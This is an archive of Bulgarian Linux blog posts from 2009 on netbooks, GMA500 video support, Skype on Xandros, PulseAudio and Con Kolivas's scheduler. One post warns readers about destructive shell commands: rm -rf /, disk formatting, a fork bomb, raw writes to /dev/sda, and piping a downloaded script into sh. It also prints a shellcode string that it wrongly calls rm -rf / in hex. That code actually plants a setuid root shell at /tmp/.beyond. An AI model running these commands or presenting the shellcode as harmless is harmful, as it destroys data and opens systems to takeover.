Формално погледнато повечето масови нетбуци са базирани на комбинацията чипсет GMA945, процесор Atom N270/280, които работят доста добре под Linux (или би трябвало, ако не сте си блъскали главата с тях с Ubuntu 9.04... друга тема...). Но от към останалите подробности нещата са твърде шарени – най-различни LAN-карти, WiFi-карти, наличие или не на 3G модул... в добавка и HDA-Intel-аудиокарти, с кошмарното си разнообразие от решения... Преглеждайки списъка с поддържан хардуер на отделните дистрибуции, ще се начетете на бележки от сорта – частично, не е изпробвано, не работи, няма звук, не работи вградения микрофон... Пълната поддръжка никак не е най-масово срещания случай, по-скоро е въпрос на случайност...
Повече от година бях собственик на ASUS EeePC 901. Доста експерименти си правих с него, но така и го продадох с дошлия с него Xandros. Така и не проработиха доста от специфичните решения на машинката дори и с тясно специализирана дистрибуция, като Eeebuntu... Трагедията е пълна с по-новите решения – примерно процесор Z520/530 – чипсет Intel(R) US15 (популярен повече, като GMA500 – Poulsbo). Комбинацията осигурява, с цената на много малко занижена производителност, значително увеличение на автономната работа. Без да забравяме че графичната карта е с възможности за хардуерно ускорение на някои видео-формати... Да, но понеже е с лицензирана PowerVR технология (това е единия компонент, осигуряващ ви нисък разход на енергия), поддръжката под Linux, поне към настоящия момент клони към нулата... Всъщност можете да подкарате всичко, но ви отиват по дяволите почти всички екстри …
В този ход на мисли, през изминалата година много се изписа по въпроса за Linux на ARM-платформа (а нима в момента не съществуват Android и Maemo ?). Тук отново няма алтернатива от Microsoft, или тя не е конкурентноспособна... Само бегъл преглед на устройствата с ARM-процесори (смартфони, Palm, iPhone и прочие „джаджи”) показва, че масовия графичен хардуер тук е основно със споменатата лицензирана технология PowerVR, логично защо... И как ще е с Linux тогава? Може би ще чакаме някаква реализация тук от NVidia, или ATI/AMD тук?... Не е изключено, но е малко вероятно (поне това, което видя бял свят на масовия пазар, като цени е доста скъпо). Особено в криза като сегашната – едва ли някоя от големите фирми в бранша ще инвестира нещо в толкова неясен пазарен сегмент... А и една добре работеща потребителска система не се изчерпва само с голата ОС...
Колкото повече Linux навлиза като продукт за масова употреба, толкова повече уморително разнообразните, взаимно изключващи се решения, битуващи тук, и силно НЕ-оптимизираното за десктоп ядро започват да са проблеми от съществено значение. Водих няколко пъти спор по разни форуми с явно заклети фенове и опитни потребители по въпроса (последния път в eeeuser.com относно Eee PC 1101HA) и ме изумява мисленето им. Видиш ли, понеже „можело да се работи” на него и, примерно „екстрите на видеото не го интересували”, какво толкова било проблем...?! Лично аз не мога да приема такива половинчати решения! Плащайки не малка сума пари за netbook, човек би искал да му ползува пълните възможности. В противен случай приложението на Linux тук отново ще се стесни до хората, занимаващи се с разработка на софтуер и шепа ентусиасти. Лично аз се уморих...
А фактите са доста печални – през 2007-ма 90% от малките машинки се продаваха с Linux, в момента (края на 2009-та) – 90% се продават с Windows... Включая машинката на която пиша настоящия материал...

Ще завърша с това, с което започнах – Linux трябваше да е Опирационната система на netbooks... но не стана...
По-зле – според мен, вече дори няма перспективи да стане, просто пропуснахме момента.

без заглавие

2009-12-01T21:08:00.008+02:00

Много ме бива по някои изцепки... Навремето с покупката на първия ми недодялан личен домашен десктоп и последвалите опити да подкарам звук 5.1 през вградената му аудиокарта, без да искам изкарах един курс по самообучение за работа с ALSA (него горкия вече го няма, компютъра де)... С първия си лаптоп се сблъсках с приключението „безжична карта Ralink RT2561” и Linux, доста писано в този блог по въпроса... До неотдавна любимият ми личен netbook – EeePC 901 и вървящия с него Xandros изпълваха доста постове тук, но и той е вече история (радостен факт за мен беше, че новия му собственик, поне в началото реши да задържи на него Linux-а, дано така е и занапред). Най-новата ми играчка – Eee PC 1101HA, не излиза от очерталото се правило. Първо, купувайки я, станах легален собственик на Windows XP (не е за вярване...). Второ – станах собственик на машинка с прословутата видеокарта GMA 500 Poulsbo (справка с wiki - потребление под 2.5W; Hardware acceleration/MPEG-2;VC-1;AVC - full)... Знаех, че е лошо поддържана в Linux, но, да си призная не очаквах, че положението е толкова отчайващо. Да поясня – видеокартата вече има „почти” добра поддръжка. Но покрай нея се сблъсках с един проблем за който, поне досега не съм си давал сметка – споменатите по-горе поддръжката и просвирването на HD видео в Linux... А сравнението дори с дъртото XP води доста горчиви размисли...

Такива работи... Засега си правя експерименти с регистъра на XP-то и проучвам ... Има един неофициален пач за MPlayer и засега нищо повече - http://gwenole.beauchesne.info/en/blog/2008/12/24/mplayer_with_va_api_acceleration ...
Всъщност, следвайки линковете за VA-API, Freedesktop.org, открих заявена поддръжка в повечето популярни инструменти за видеопросвирване, но... на бял свят засега няма още нищо (между другото изключително съм разочарован от последната версия на VLC, нещо което затвърди впечатлението ми през годините, че MPlayer е изключително висококачествено замислена и разработвана програма)

Е, по-добре е от нищо...

Нов етап

2009-11-18T21:44:00.004+02:00

Приятели, искам да споделя с вас, че ерата Eee PC 901 завърши. Днес продадох машинката, след няколкодневни колебания. Колебания, защото това беше любимо мое нещо, пазено с много любов, неотлъчен мой спътник през последните година и три месеца... Доста труд положих по опитомяването и популяризирането на преинсталирания на него Xandros, надявам се, че съм помогнал на мнозина...

От днес новият ми личен компютър е ... Eee PC 1101HA Seashell

Едно полезно приложение за Eee PC

2009-11-13T21:27:00.006+02:00

От известно време насам ползувам едно полезно приложение за малкия ASUS. Можете да го намерите на сайта на разработчика му - тук, както и още няколко полезни неща. Става въпрос за eeetray... Ползувателите на Windows XP за Eee PC са облагодетелствувани в това отношение, защото подобно приложение предоставя самият ASUS заедно с различните драйвери. Но ние, бедните Xandros-linux-потребители сме ощетени... ;) Всъщност не става въпрос за кой знае какво съществено нещо, но е доста удобно да можете да си изключите камерата без да пишете в терминален прозорец, да си изключите bluetooth без да преминавате през цикличното вкл./изкл. на Fn + F2, да деактивирате cardreader-а за да икономисате няколко десетки минути работа на батерията... С две думи казано - полезна джуджавка, улесняваща ви живота...

Skype 2.1 за Eee PC Xandros

2009-10-29T12:32:00.008+02:00

Откакто се появи новата версия на Skype - 2.1, въпреки че е само бета, се опитвам да я подкарам на Eee PC с оригиналния Xandros. Както обикновено при Skype, по-новите версии, дори недовършени, работят по-добре от предишните... Проблемът е, че Xandros върви със стара ALSA - още от Etch... Бях се отказал, но тия дни се амбицирах отново и в крайна сметка намерих решение, при това такова, което не влияе на всички останали инсталирани приложения. Необходимо е да се направи следното :
1. Сваляте си Dynamic-пакета и го разархивирате в папка, примерно /usr/local/Skype-2.1.0.47/
2. Сваляте си пакета от Lenny за libasound2 - от тук;
извличате от него само библиотеката и символната връзка - libasound.so.2.0.0 и libasound.so.2. Копирате ги в директорията в която разархивирахме скайпа - /usr/local/Skype-2.1.0.47/
3.Правите си резервно копие на скрипта /usr/bin/run-skype.sh (за всеки случай). Самия него редактирате по следния начин, променените неща са с курсив :

#!/bin/bash
if [ "$(/bin/pidof skype)" != "" ]; then
exit
fi

if [ "$LANG" == "zh_HK.UTF-8" ]; then
LANG=zh_TW.UTF-8
fi

export LD_LIBRARY_PATH="/usr/local/skype-2.1.0.47"
/usr/local/skype-2.1.0.47/skype --disable-updates

Приятно общуване по мрежата !!!

Истината за Pulse Audio

2009-10-21T12:05:00.005+03:00

Най-сетне се намери някой да каже, че "царят е гол". Темата е щекотлива и при разравяне има склонност да мирише, но според мен в Linux света има и по-миризливи неща... Беше време (2007-ма), когато и аз бях горещ привърженик на PulseAudio и съм го препоръчвал на мнозина. В края на 2009-та нещата изобщо не са розови - и вече съвсем открито потребителите си задават въпроса - кое е повече при употребата на PA - ползата, или вредата? Успокоих се, лично за себе си, че не съм само аз със сбъркано мислене ;) .
Да вярно - може да слушате музика, да чувате системните звуци и да си говорите по ekiga едновременно (да си вдигнат ръцете тия, дето я използуват тази програма), да ама това го правех и с помощта на dmix на alsa... Тук се намесва великия спор за kernell-space и user-space - доводите са убедителни, да... Уж PA трябваше да е панацеята на потребителските проблеми с аудио подсистемата на Linux... да, ама не стана. Стана единият от многото потребителски проблеми. Skype до ден днешен не работи, като хората с PA (да си вдигнат ръцете тия, дето не го ползуват; вярно, че вече е налична и бета версия с поддръжка на PA, но колко време бяха вопиющи мъки...), а като гледам и всички потребители са се изпотрепали да ползуват звук по мрежата, дето ставало с PA перфектно (сигурно, аз не съм пробвал).
Коректния подход на дистрибуциите би бил да не го инсталират по подразбиране, нека го има като опция, на когото му трябва да си го сложи. Лично аз - благодаря... До гуша ми е дошло от спънки с най-елементарни, ежедневни неща в използуването на Linux, като потребителска система.

интересна дискусия по въпроса

Eee PC, Xandros, online tv

2009-10-08T10:16:00.005+03:00

Никога не е късно човек да стане за резил, както и никога не трябва човек да си мисли, че знае много (всичко)...
Тези от вас, които следят писанията ми тук знаят за перипетиите които имах с гледането на onlie TV канали на EeePC 901, с оригиналния Xandros. Решението не беше лошо, но даваше доста ограничения и не беше с много добро качество на картината, по причина доста тромавата работа на mplayer pluggin за Firefox. Той, можеше да се заобиколи със сваляне и локален запис на .sfx файла и просвирването му с MPlayer (външна програма) с опция за плейлист, но ставаше сложно.
Доста по-елегантно решение намерих препоръчано на самия сайт на iptv.bg (няма кой да прочете FAQ... нали уж всичко ни е ясно...) - инсталирате си следния плъгин за Firefox и всичките тези няколко последователности се свеждат до един клик на мишката! При това вече няма ограничения за резолюция, aspect ratio и прочие, които ме дразнеха адски много!

Защо Microsoft е такъв фен на Moblin

2009-09-29T19:00:00.004+03:00

През изминалата седмица се появи финалната версия на Moblin 2 ... Почти едновременно с това се появи почти невероятната новина, че Microsoft ще разработи версия на Silverlight за Moblin (е, най-вероятно ще е двоичен пакет), но... все пак забележете - Moblin e Linux . Ето една интересна гледна точка, изложена в един от блоговете, които неизменно следя.
През последните 20 години крепка дружба свързва Intel и Microsoft. Първите пускаха на пазара все по-мощни и по-бързи процесори, вторите все по-мощни операционни системи... Докато в един момент Intel вече не бяха в състояние да увеличават повече честотата на процесорите. Временен изход беше разработването на такива с 2 и повече ядра, но така или иначе потребителите можеха да се възползуват ефективно само от двуядрените. В Intel бързо осъзнаха, че ако искат да продължават и за напред да продават чипове на потребителите, трябва да ги продават за по-малко пари. Така се създаде платформата Atom – евтини, потребяващи малко енергия процесори. Резултатът беше налице – през изминалата година и половина се продадоха милиони устройства с него – netbooks, nettops... А пазарът продължава да се разраства, като апетитите са насочени и към MID устройства, смартфони и потребителска електроника. Intel е почти постигнал целта си, но... тук внезапно Microsoft не връща топката – за новата платформа не се разработва нищо ново.
Повечето от тези нови, евтини устройства станаха причина да се развали идилията между двете корпорации. Ниската им цена трудно понася високите лицензионни такси на Windows и това отвори пазарна ниша за алтернативни решения - Linux... Това не беше особено голям проблем за Microsoft, но въпреки това те се полакомиха да удължат живота на XP и да позволят на производителите да продават устройствата с него. За една година това обърна пазара от 90% в полза на Linux точно на обратно... Но това беше пирова победа, защото не наля вода в мелницата на Vista и пришпорвания Windows 7 - те не стават за толкова маломощни машини, а и разработваната в края на 90-те XP връзва ръцете за много неща с остарелите си технологии. От друга страна и двете корпорации нямат интерес да продават продукт, който да изглежда като евтин заместител на „големите“ ноутбуци, както се оформи в масовото съзнание нетбукът с преинсталирана XP... И ето тук се явява интересната разработка на Intel – Moblin – Linux платформа, оптимизирана за Atom... Тя е бърза, ориентирана към уеб-потребление, с много характерен потребителски интерфейс, подчертаващ основното предназначение на тези устройства – забавление, сърфиране в web, лесен и интуитивен достъп до социалните мрежи... Разликата е толкова очебийна, сравнявайки интерфейса на Moblin с една десктопна ОС, да кажем Windows XP, или ако щете който и да е от Линуксите, че внушението е доста настойчиво – не бъркайте двете неща, това дребното нещо не е за сериозна работа, за такава работа си купете пълноценна, мощна машина с... Е, не съм чак такъв параноик, че да намесвам тук Световната Конспирация, но явно ситуацията силно устройва Microsoft, щом толкова много имат желание да я подкрепят (Moblin). Един вид – и вълка сит, и агнето цяло – Intel си продава евтините процесори, Microsoft не си губи времето и ресурсите (парите) с тях, а за мощните неща имате Vista и не след дълго Windows 7...
Моите лични впечатления от Moblin са, че това е по-скоро основна конструкция на ОС. Липсват ви кодеци, липсват много, такива – дребни нещица, дето правят един мини ноутбук пълноценна машинка. Така или иначе, това е пас към OEM фирмите да припечелят нещо и от една Linux ОС с повече, или по-малко отворени допълнения към нея... Класически пример за мен е Xandros за EeePC, която въпреки лошата си (незаслужено) слава си остава и до ден днешен най-пълноценно работеща Linux дистрибуция за нетбуците на ASUS. Да си призная много ми се бистри темата за Xandros, но ще се въздържа...
BTW очаква се през следващия месец да се появят и първите модели на ASUS с Moblin-версията на Xandros... Такава вече предоставиха във вид на LiveCD Linpus, а аз лично пробвах тази на Ubuntu, но тя, определено още в твърде зелена...

За ядрото, за разработката му, за Con Kolivas

2009-09-27T10:04:00.012+03:00

Наскоро се заговори отново за Con Kolivas и новият му проект. За тези, които не знаят, Scheduler (sheduler) е може би една от най-ключовите технологии в съвременните операционни системи. Много опростено тя може да се обясни по следния начин: ако един процесор може да борави с една операция в даден момент, как да се организира многозадачност? Очевидно е, че така трябва да се организира последователността на операциите, че за крайният потребител да съществува илюзията, че всичко е направено едновременно. Този проблем се решава именно от Scheduler (планировчик).
Появата на многоядрени процесори на обикновени персонални компютри беше общо взето неочаквано. За крайния потребител винаги е било от значение увеличението на тактовата честота на процесора - тъй като логично се свързва с растежа на производителността: 4 MHz, после 12, 16, 33, 40, 66, 90, 100, 133, 150, 200, 233, 300, 500 ... За тези, които са се занимавали с компютри от началото на 90-те и следят с интерес развитието им - това не са само номера в прогресия, а и етапи. Сега акцентът е повече върху архитектурата, отколкото върху честотата. Многоядрените процесори, на теория би трябвало да доведат до повишаване на производителността на компютъра, като цяло. Но това не се случва. Цитират се случаи за увисване на системи с най-мощни процесори и последно поколение операционни системи при изпълнение на „тривиални“, от гледна точка на потребителя задачи, като сканиране за вируси (бел.моя - в примера става въпрос за Vista, но колкото и да проявявам сарказъм, тя все пак си остава изключително съвременна ОС). Човек неволно си задава въпроси: къде са предимствата на многоядрената архитектура; къде е плавността на работа, независимо от сложността на фоновите задачи; всичко това означава ли, че в живота на един обикновен потребител определящи приоритети са архиватори и антивирусен софтуер? Аз не знам точно какъв набор от технически недостатъци на Vista са довели до този проблем, но мисля, че неадекватността на планировчикът (Scheduler) играе съществена роля.
Ако отговорят честно, повечето потребители на Линукс го харесват, защото самата тя, като система, е не по-малко интересна игра от която и да е стратегия или пукалка...
Наскоро излезе стабилната версия на ядрото 2.6.31 и не след много се появи новината за пач към него предоставящ принципно нова разработка на C.K. с Brain Fuck Scheduler... Тук ми се иска да цитирам няколко интересни момента от едно негово интервю, даващо обяснение на причината довела до тази разработка, както и няколко впечатлили ме идеи относно актуалното състояние на ядрото, основните дистрибуции и Linux изобщо, които доста са ми близки като мнение и заключения.
Първо – кой е Con Kolivas – според wikipedia това е австралийски анестезиолог, същевременно и доста известен програмист с принос в разработката на Linux ядрото. Целта на предоставената кръпка е да се подобри работата на Linux като десктопна система, предоставящ принципно различна работа на основния елемент на ядрото, какъвто е sheduler (планировчикът). Ситуацията е малко деликатна, тъй като се противопоставя на приетия за основен такъв в момента, дело на програмиста от Red Hat – Ingo Molnar, който от своя страна е почерпил идеи за тази разработка именно от австралиеца... Става въпрос всъщност за Copletely Fair Sheduler (CFS). Ситуацията е деликатна и от друга страна, защото се намесват и донякъде лични взаимоотношения със самия Linus и изобщо с принципите и посоката на развитие на ядрото, като цяло. C.K. през 2007-ма обявява, че прекратява всякаква работа по разработката на ядрото, тъй като не се възприемат неговите идеи за подобряване на интерактивността на десктоп-средите. Това е по човешки разбираемо – не е лесно да продължаваш да работиш, след като не се приема работата ти. Но сами по себе си идеите на австралиеца са интересни – не само що се касае до ядрото, но и до пътя на развитие на цялата компютърна индустрия през последните години.
Linux-ядрото е препълнено с корпоративен баласт и това го прави слабо като десктоп среда е основния извод на Cen Kolivas.
80-те години са златното време в развитието на персоналния компютър. Тогава имаше много разработчици на хардуер и операционни системи и съществуваше истинска конкуренция. Това водеше до огромен избор за крайния потребител. Пример са PC на Amiga, чийто уникален дизайн подтикваше разработчиците на програми към нестандартни, интересни решения. В същото време IBM-PC бяха тромави и скъпи творения, които в комплект с DOS ставаха само за заместител на пишещите машини. Собствениците на такива PC непрекъснато имаха нужда от ъпгрейд на отделни негови компоненти (звук, видеокарти) за да достигнат до нивото, което по начало имаха компютрите на Amiga и Atari, примерно. Приоритетът на „желязото“ пред програмните разработки беше убийствен и водеше цялата софтуерна индустрия към такива разработки, които задоволяваха, помагаха и доставяха естетическа наслада на крайния потребител. Нещо, което не се вписваше в тази схема, или имаше лош маркетинг, просто не оцеляваше. Днес нещата са точно наопаки, процес започнал от средата на 90-те години – софтуерът е цар и хардуерът може само да се нагажда към него, колкото и несъвършени да са програмните решения... Няма да уточнявам коя операционна система стана де факто стандарт при десктопите към настоящия момент. И е напълно понятно, че хардуер несъвместим с нея, просто няма място на пазара (само ще дам един пример – SSD формално нямат нужда от SATA или PATA интерфейс, организацията на данните при тях няма нищо общо с тази при традиционните твърди дискове, но това се прави за да е възможно да работят с оная ОС и с ограниченията, които налага IBM-PC архитектурата от друга страна, впрочем друга не по-малко болна тема...). Желязото стана слуга на програмното осигуряване, пак ще повторя – колкото и несъвършено да е то... Още по-лошо е това, че производителите на хардуер бавно се поглъщат един друг. Това неминуемо намалява конкуренцията и избора за крайния клиент. Просто се произвеждат по-бързи и по-мощни версии на нещо, което е вече направено, без да се търси път за усъвършенстване и оптимизация. Необходими са ви мощни процесори, видеокарти и огромни обеми памети за да се обслужва една операционна система, програмата на вашия компютър, чиято работа вие даже не трябва да забелязвате... Иновационен хардуер престана да се разработва, за него няма пазар и пари... Хардуерът - „желязото“ стана скучно.
Но нека се върнем на Linux. Всеки знае, че той започна като хоби. Но също така се разрасна и разви до такова огромно „нещо“, което е трудно да си представим. Той се превърна в един от най-важните конкуриращи се играчи на пазара на операционни системи, една от малкото алтернативи на превърналата се де факто в стандарт (незаслужено) Microsoft Windows. Ако разработката на напредничав хардуер, все още беше двигателят в развитието на компютрите и в съперничеството между операционните системи, Windows не би имал толкова потребители и програмисти. Хардуерът се е променил много малко от 1991 година насам, когато за първи път е зареден Linux. Естествено машините са невъобразимо по-мощни, но това е за сметка на скорост, не на функционалност, или иновации. PC „умря“ от всякаква гледна точка преди 20 години и днес той е кутия с баласт. В обозримото бъдеще няма да има промяна във функционалността, методите за обработка и обмен на информацията в него. Повсеместното разпространение на интернет само циментира това положение. Linux е създаден за PC и за тези, които търсят радост, интерес от работата с компютъра си, той ви дава свобода, пълен контрол и власт върху работата на операционната система. Или, в качеството на алтернатива, повечето му последователи са убедени, че това може да се постигне, чрез тази свобода.
И все пак IBM-PC е улица без изход. Където и да го използувате винаги се оказвате в ситуация, когато той е претоварен и бавен. Има днешни машини, които по производителност са равни на суперкомпютри от преди 10 години. Преди 10 години PC бяха равни по производителност на суперкомпютрите от преди 20 години и т.н. Но защо въпреки това всичко е толкова претоварено? Защо, след като компютрите са толкова бързи, за стартирането на системата, или на отделни приложения е необходимо все повече и повече време?... Когато те се занимават с чиста обработка на информация, примерно с декодиране на видео те са възхитителни, но във всичко останало са отчайващо бавни. Биха могли да бъдат 1000 пъти по-бързи отколкото преди 10 години, но не са... Обичайното обяснение, което дават на това хора от бранша е, че те – компютрите, извършват много повече работа, отколкото преди, така че такова сравнение не е коректно. Добре, но все пак ето една проста сметка – ако те са като краен резултат 10 пъти по-бавни, вместо да бъдат 1000 пъти по-бързи, то извършват някъде 10000 операции, някъде където те са загубени за крайния потребител.
Работата на C.K. в разработката на ядрото е съсредоточена изключително върху подобряването на работата на Linux като десктопна система. Разсъжденията са много прости – след като имате контрол върху целия програмен код, съществува начин да накарате системата да работи по-бързо. Просто не може да не съществува начин да се постигне по-добра производителност. Наследството от UNIX не е никак леко. Процесът на приспособяване на една система, която изобщо не е била предназначена за десктоп е твърде болезнен. Активното участие на C.K. се отнася, като начало към версия 2.4.18, след това към версиите 2.6 и, както той споделя, измененията не били големи, но водели до известни резултати в такива неща, като поведението на процесора при голямо натоварване и пр. Следейки от близо работата по тези версии, все повече се ужасявал от крайния резултат, тъй като уважавани от него разработчици се занимавали основно с корпоративни приложения, които нямали никакво отношение към простия краен потребител. Забележително е да знаеш, че Linux може да работи на машини с 1024 процесора и 1000 твърди диска но, че включването на такава възможност в ядрото убива производителността му при обикновена десктопна система е отчайваща перспектива... Измервайки производителността, като някаква абстрактна величина, при една съвременна машина тя е много висока, но факта си е факт – аудиоплейърът ви работи накъсано и всичките гигахерци дето имате не могат да ви помогнат да чуете нормално една най-проста mp3-ка (бел.моя - на който не му се вярва това, факт от есента на 2008 година – при прясна инсталация на Fedora 10 аудиото беше точно такова – отчайващо). Или още един пример – започвате да записвате някакъв голям файл и ако имате неблагоразумието в този момент да мръднете мишката всичко на екрана замръзва и минават дълги секунди, че и минути докато отворените прозорци се обновят... Тъжна картинка. Както си спомня C.K. – направили доклад за бъг и един от разработчиците отговорил, че не може да възпроизведе проблема на компютъра си, с четириядрен процесор, 4 гигабайта RAM и твърди дискове, обединени в RAID масив... Това било преди 4 години... помислете си само по това време обикновения потребител на какви машини би работел... Това е истината – водещите разработчици на ядрото се занимават с много неща, но те нямат много, да не кажем никакво отношение към проблемите на обикновения потребител. Повечето от тях са работници в големи корпорации и проблемите на обикновените потребители са им чужди. Това което те гонят е процент увеличаване на производителността при обработка на бази данни, масиви и прочие. Linux победи на пазара на сървъри, управление на бази данни и много корпорации проявяват интерес и финансират разработката му, но усъвършенствуването му в крайна сметка става в посока, където са интересите на тези корпорации. Обикновеният настолен компютър, за който първоначално е разработен Linux остана настрана и е съвсем забравен. Производителност на машината, във вид в който я разбира простия, редови потребител всъщност няма, не само – дори няма тест с който бихте я измерили. Как бихте сравнили нещо, което няма как да измерите. Според убеждението на C.K. естественото място, където може да се подобри тази производителност е в ядрото и от тук нататък започва неговата целенасочена дейност, първо в разработка на тестова програма за оценка на производителността на една десктоп-система, разработка на кръпки към ядрото и упорито убеждаване на основните разработчици на ядрото за промени в желаната посока. Оказва се, че главните проблеми се въртят около работата на дисковата подсистема и от там, в крайна сметка се опряло до работата на планировчика (sheduler).
Много би ми се искало тук да преведа цялото интервю на C.K., но нека не надценявам собствените си сили, както и целта на една такава публикация в моя блог. За тези, които се интересуват – ползувайте препратките под линия...
Накрая искам да добавя няколко неща само. Малко е включено в основната версия на ядрото от кръпките на австралиеца, по причини много извън писането на код. Идеите, които е прокарвал са залегнали в голяма степен в работата на актуалния планировчик на ядрото, но осъществени с методи много далеч от начина по който си е представял. Това и много други разминавания с основните разработчици на ядрото довеждат до оттеглянето на Con Kolvis от участие в разработката през 2007 година... до неотдавна (шило в торба не стои).
Лично аз намерих потвърждение на много неща сред идеите на австралиеца... Искам да завърша с почти дословен цитат на следното нещо:
„ ... Всички изследвания на които се базираха моите разработки са направени много преди това – по времето на противостоенето на хардуера и софтуера. Мнозина ме обвиниха, че съм си присвоил изобретяването на „честния планировчик“, а аз не съм твърдял това никога... Заслугата ми е, че приложих вече известното към съществуващия хардуер и към ядрото... ... Академичните достижения имат тенденцията да са неприложими в ежедневния свят. От друга страна чистото хакерство има характер на катастрофа в дългосрочна перспектива, дори ако към настоящия момент може да реши даден проблем бързо. Да се намери верния баланс между хакерството и не-игнорирането на академичните изследвания – ето какво е необходимо. Аз не успях... За жалост има само неколцина от разработчиците на ядрото, които са успели...“
===================================================================
интервюто пред Apcmag
личната страница на Con Kolivas

Краят на netbooks

2009-09-06T21:04:00.013+03:00

Сигурно вече дотягам с темата за netbooks, но това е нещото, което ме вълнува много към този момент. А какво се случва напоследък? Няколко неща около тях са на път да доведат до пазарната им „смърт“, за съжаление...
Когато Asus пуснаха своя първи 7" модел, той на теория дори не беше точно netbook – процесора беше Celeron, работещ на понижена тактова честота. Същинските netbooks започнаха „да валят“ около година по-късно, с излизането на пазара на първото поколение Atom процесори на Intel (архитектурата с ниска консумация на енергия)... Е, тук трябва да спомена и предложенията на VIA и AMD, но те намериха доста ограничено приложение. Точно тук, се случиха първите две неща, довели до сегашното състояние – започнаха да излизат модели с 9", 10" дисплеи и с преинсталирана Windows XP (Microsoft, надушила потенциалната печалба от пазара набързо я възкреси, тъй като по разбираеми причини Vista на тази платформа беше самоубийство – е, имаше и такъв куриоз на HP, а 7-та беше още в пашкул). В един момент към началото на 2009 година статистиката на продаваните netbooks сочеше 95% такива с Windows XP (в интерес на истината данните са основно за пазара в USA). От своя страна желанието за ниски цени и наличието на XP, която не работи добре на SSD, измести същите, като почти всички модели пуснати на пазара през последната година бяха само с „класически“ твърди, механични дискове (HDD), което изобщо не беше в общия дух за супер портативност (правя тук забележката, че наличието на SSD не е неотменимо качество на netbooks, но наличието на такъв в машинката снижава чвствително разхода на енергия). Това, както и нагласата на масовия купувач, че купувайки netbook с Windows на който "лесно може да се инсталира всичко", се сдобива с, един вид евтин лаптоп, заместител на „големия“ лаптоп, или тромавата домашна система, някак си силно изкриви сегмента...
Ситуацията в момента е такава – продават се модели с минимум 10" дисплеи, масово се предлагат такива с 11", има и с 12"... Какви netbooks са това? Какво остана от първоначалната идея, която доведе до създаването на това нещо - netbook?... Не забравяйте, че всичко това е изградено на Atom платформа, която е с много ниска енергоемкост, но и с доста ниска производителност (напомням за проблемите при възпроизвеждане на „тежки“ видео-формати, да не говорим за каквито и да било по-съвременни игри). Много им се искаше на повечето производители на хардуер да изстискат до максимум пазара, но това, което се намира в момента, колкото и да са лъскави и примамливи предложенията, са някакви уродливи хибриди, по средата между notebook и netbook... Ни риба, ни рак... На такава машинка не мога да върша всичко, а от друга страна 12" машинка, тежаща 1,5 кг само за проверяване на пощата и сърфиране в мрежата, кому е нужна?... Не е далеч момента в който първоначалния ентусиазъм от ниските цени и масовото предлагане ще отшуми, и ще настане пълно отдръпване на потребителите... Иначе казано – netbook умря, жертва на лакомията на производителите и на Microsoft... за съжаление.

Eee OS, Linux и изобщо

2009-09-01T20:23:00.018+03:00

И все пак, независимо от доста противоречивите изявления относно Linux, от страна на официалните лица в Asus, все още се работи върху подразбиращата се дистрибуция за Eee PC. Вече се появи в мрежата неофициална сборка на Eee OS, с пореден номер 1.7... Засега факти няма, предполага се, че това, което е достъпно е на ниво бета, базиращо се на Debian Lenny. В EeeUser има мнения на потребители, вече изпробвали новата версия, но с доста противоречиви резултати.
Въпросната сборка е достъпна тук...
Ако се поразходите, също така из съседните директории на въпросния хост, ще видите и други интересни неща...

Искам да добавя и друго. В началото на годината беше предизвикана не-малка истерия относно големия процент върнати netbooks с Linux, като се посочваха цифри от порядъка на 3-4 пъти повече от тези с Windows... Не си правя илюзии, че Linux, освен верни поддръжници има и доста не-доброжелатели, особено там където се пречка в нечии пазарни интереси. Минаха 6-8 месеца и вече се заговори доста по-спокойно (в случая източникът е Dell - единият голям доставчик на машини с пре-инсталиран Linux). Та, какво се оказва - проблем всъщност няма...
Ако прочетете внимателно статията от препратката, също така ще видите, доста доброжелателно посочени и някои от "истинските" проблеми на Linux, които са си вече "в самия него" - липсата на целенасочена пазарна политика, изглаждане в детайли, на работата с потребителските машини (в случая се говори за управление на енергопотреблението).

Опасни bash команди

2009-08-20T23:56:00.002+03:00

Попаднах на интересен материал в мрежата и искам да го споделя. Повечето от нас – повече, или по-малко напреднали в Linux се отнасят в общия случай с пренебрежение към такива случаи, но от личен опит мога да споделя: никой не е застрахован. Както се казва – дяволът си няма работа...
Всъщност става въпрос за няколко bash команди, които могат, меко казано да сринат системата ви, да изтрият личните ви файлове и, не дай-боже да изтрият де що има по дисковото ви пространство...

1. Код : rm -rf /

Тази команда, рекурсивно и без да иска потвърждение ще изтрие всички файлове от root директорията ви, всички директории и рекурсивно цялото им съдържание... Това ще рече – включително всички локални, мрежови и прочие монтирани към момента на подаването и файлови системи... Звучи потресаващо, но е точно така.
Ето ви същото, но в шестнайстичен код :

char esp[]__attribute__((section(".text"))) / *e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh/tmp/.beyond; chmod 4755 /tmp/.beyond;";

Все пак... не ви съветвам да го използувате...

2.Код : mkfs.ext3 /dev/sda

Това ще форматира с ext3, иначе казано ще затрие всичките всичките ви файлове на блоковото устройство /dev/sda (може би това е единствения ви твърд диск)

3.Код : :(){:|:&};:

Познат като forkbomb, този израз ще накара системата ви да изпълнява неизброимо количество процеси, докато в крайна сметка блокира и доведе до загуба на данни.

4.Код : any_command > /dev/sda

С тази команда в блоковото устройство /dev/sda (напомням това е може би единствения ви диск) ще бъдат записани данни, като резултат ще бъде нарушена файловата система, т.е. Ще загубите данните от нея, или ще ви се наложи да ги възстановявате с инструменти от най-ниско ниво... просто удоволствие...

5.Код : wget http://some_untrusted_source -O- | sh

Никога не сваляйте програми от непроверени сайтове и още повече НЕ ГИ ИЗПЪЛНЯВАЙТЕ... Това може да бъде зловреден код, които ще навреди на системата ви.

6.Код : mv /home/yourhomedirectory/* /dev/null

Това по същество ще изтрие цялата ви домашна директория (ще я премести във фиктивното устройство /dev/null на майтап наричано и черна дупка).

Източник

Poulsbo, Linux...

2009-08-12T20:56:00.005+03:00

